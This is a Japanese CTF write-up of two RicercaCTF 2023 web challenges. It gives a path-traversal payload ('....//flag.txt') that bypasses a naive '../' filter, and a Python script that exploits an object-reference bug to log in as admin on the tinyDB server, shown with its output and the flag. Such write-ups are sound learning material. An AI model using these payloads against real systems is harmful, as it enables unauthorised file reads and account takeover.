RicercaCTF メモ part1

初めてCTFに参加しましたので復習を兼ねてWriteupを書きます。
part1は自分が時間内で取り組めたものだけ(Webの`Cat Café`と`tinyDB`)に絞ります。

# RicercaCTF
https://prtimes.jp/main/html/rd/p/000000005.000084506.html


CTF初参加ですが、初心者でも分かる問題が多々ありましたので楽しめました。

# Cat Café (web, warmup)
問題分に添付されているファイルをDLし解答してみると、Cat Cafeのファイル構造が見れます。

![Screenshot from 2023-04-25 22-33-35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2783871/ab30c247-c0dc-b0e8-c626-f8db575fefbe.png)

解答した`flag.txt`はファイルの中身が改ざん済みなので、Webサーバ上のflagを参照することがゴールとなります。

```app.py
import flask
import os

app = flask.Flask(__name__)

@app.route('/')
def index():
    return flask.render_template('index.html')

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

if __name__ == '__main__':
    app.run()
```

ルーティングの記述をしているファイルです。
大事なのは12行目で`../`を一回のみreplaceしていることです。
`....//`のようにしてあげると`../`が残ります。
また、上画像の構造的にflag.txtはimagesの親ディレクトリにあるので
`http://cat-cafe.2023.ricercactf.com:8000/img?f=....//flag.txt`
でURLを指定してあげるとflagがGETできます。


# tinyDB
悔しながら時間内に解けませんでした・・・
しかもWriteupを改めて見ると自分が過去業務で躓いたJavaScriptの仕様を突いたものだったので非常に悔しいです・・・

![Screenshot from 2023-04-25 22-49-26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2783871/242fff10-2e18-fdae-4630-13343108a523.png)

用意されているサーバはこんな感じ
ユーザ名とパスワードを入力すると
```入力
Username: Username
Password: P@ss
```
下のような出力を返します。

```出力
Result:
{
  "authId": "Username",
  "authPW": "P@ss",
  "grade": "guest"
}
```

また、admin専用のページ`http://tinydb.2023.ricercactf.com:8888/admin`もあるらしく、
そこで
ユーザ名とパスワードを入力すると
```入力
Username: admin
Password: P@ss
```
下のような出力を返します。

```出力
{"flag":"no flag for you :)"}
```

画面を一通りみたのでとりあえずコードを見てみます。
ファイル構造は以下の通り
```
db.ts [error opening dir]
db.type.ts [error opening dir]
flag.ts [error opening dir]
index.ts [error opening dir]
```

注目すべきは`index.ts`です。（ほかファイルは大体定義のみ書いてあります。）

```index.ts
import fastify from "fastify";
import { fastifySession } from "@fastify/session";
import fastifyCookie from "@fastify/cookie";
import * as fs from "fs";
import { getUserDB, randStr, getAdminPW, updateAdminPW } from "./db";
import flag from "./flag";

const server = fastify();
server.register(fastifyCookie);
server.register(fastifySession, {
  secret: randStr(),
  cookie: { secure: false },
});

server.get("/", async (_, response) => {
  const html = await fs.promises.readFile("./src/index.html", "utf-8");
  response.type("text/html").send(html);
});

server.get("/admin", async (_, response) => {
  const html = await fs.promises.readFile("./src/admin.html", "utf-8");
  response.type("text/html").send(html);
});

type UserBodyT = Partial<AuthT>;
server.post<{ Body: UserBodyT }>("/set_user", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);

  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }

  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

  const rollback = () => {
    const grade = userDB.get(auth);
    updateAdminPW();
    const newAdminAuth = {
      username: "admin",
      password: getAdminPW(),
    };
    userDB.delete(auth);
    userDB.set(newAdminAuth, grade ?? "guest");
  };
  setTimeout(() => {
    // Admin password will be changed due to hacking detected :(
    if (auth.username === "admin" && auth.password !== getAdminPW()) {
      rollback();
    }
  }, 2000 + 3000 * Math.random()); // no timing attack!

  const res = {
    authId: auth.username,
    authPW: auth.password,
    grade: userDB.get(auth),
  };

  response.type("application/json").send(res);
});

server.post<{ Body: AuthT }>("/get_flag", async (request, response) => {
  const { username, password } = request.body;
  const session = request.session.sessionId;
  const userDB = getUserDB(session);
  for (const [auth, grade] of userDB.entries()) {
    if (
      auth.username === username &&
      auth.password === password &&
      grade === "admin"
    ) {
      response
        .type("application/json")
        .send({ flag: `great! here is your flag: ${flag}` });
      return;
    }
  }
  response.type("application/json").send({ flag: "no flag for you :)" });
});

server.listen({ host: "0.0.0.0", port: 8888 }, (_, address) => {
  console.log(`Server listening at ${address}`);
});
```

細かい話はまとめると
・APIは`set_user`と`get_flag`
・セッション度に（セッションIDをkeyとして）ユーザーDB(ユーザー連想配列)を持っています。
・ユーザー名とパスワードを入力した際に該当ユーザーが居ない場合はユーザーを作成する
・ユーザーが10名以上登録されようとするとDBをクリアする。
・タイミング攻撃を防ぐためにrollback処理が2~3秒のランダム時間で走る。
・adminで入れるとflagを出力する。
です。

注目すべきは39~46行目のコードです。

```index.ts
  if (userDB.size > 10) {
    // Too many users, clear the database
    userDB.clear();
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin"); //シャローコピー
    auth.password = "*".repeat(auth.password.length);
  }
```

UserDBにパスワードを設定後`auth.password = "*".repeat(auth.password.length);`でレスポンス用のTextを作っているのですがこれが脆弱なものとなります。
setの処理は連想配列をそのまま代入しているのですが、JavaScriptでの連想配列でそのまま代入したりするとシャローコピーになってしまいます。
要するにUserDBのadminパスワードには、auth.passwordに最後に代入した伏せ字の値が入っています。
(今回はUserDBのauthの値がシャローコピーされている。)
ですので、adminのリセットが入った直後に帰ってきたadminの伏せ字パスワードでログイン試行をするとflagがGET出来ます。
以下攻撃コード

```攻撃コード.py
import requests
import json

session = requests.session()


# URLの設定
userPage_url = "http://tinydb.2023.ricercactf.com:8888/set_user"
adminPage_url = "http://tinydb.2023.ricercactf.com:8888/get_flag"

for i in range(10):
    # パラメータの設定
    param = {
        'username': "admin",
        'password': "P@ss",
    }

    response = session.post(userPage_url, json=param)
    print(response.text)
    
res_json = response.json()

param = {
    'username': 'admin',
    'password': res_json["authPW"],
}
res = session.post(adminPage_url, json=param)
print(res.text)
```
すると、下記のように出力します。

```
{"authId":"admin","authPW":"P@ss","grade":"guest"}
{"authId":"admin","authPW":"P@ss","grade":"guest"}
{"authId":"admin","authPW":"P@ss","grade":"guest"}
{"authId":"admin","authPW":"P@ss","grade":"guest"}
{"authId":"admin","authPW":"P@ss","grade":"guest"}
{"authId":"admin","authPW":"P@ss","grade":"guest"}
{"authId":"admin","authPW":"P@ss","grade":"guest"}
{"authId":"admin","authPW":"P@ss","grade":"guest"}
{"authId":"admin","authPW":"P@ss","grade":"guest"}
{"authId":"admin","authPW":"********************************","grade":"admin"}
{"flag":"great! here is your flag: RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}"}
```


# 感想
初心者なりに、問題は理解できていたので良かったです。
チームメンバーに助けてもらいつつですがアプローチも悪くなかったと思っていますので、これから練習していけばポイントも増えそうな感じはしました。
チームメンバーとも協力できましたし、問題も大変面白かったのでとても良い経験でした。
悔しい点としては、tinyDBの脆弱な部分は自分も過去業務で経験したものと近しいものでしたので、それに気づけなかったことです・・・🐔
今後は定期的に参加してレベルを上げていきたいなと思います！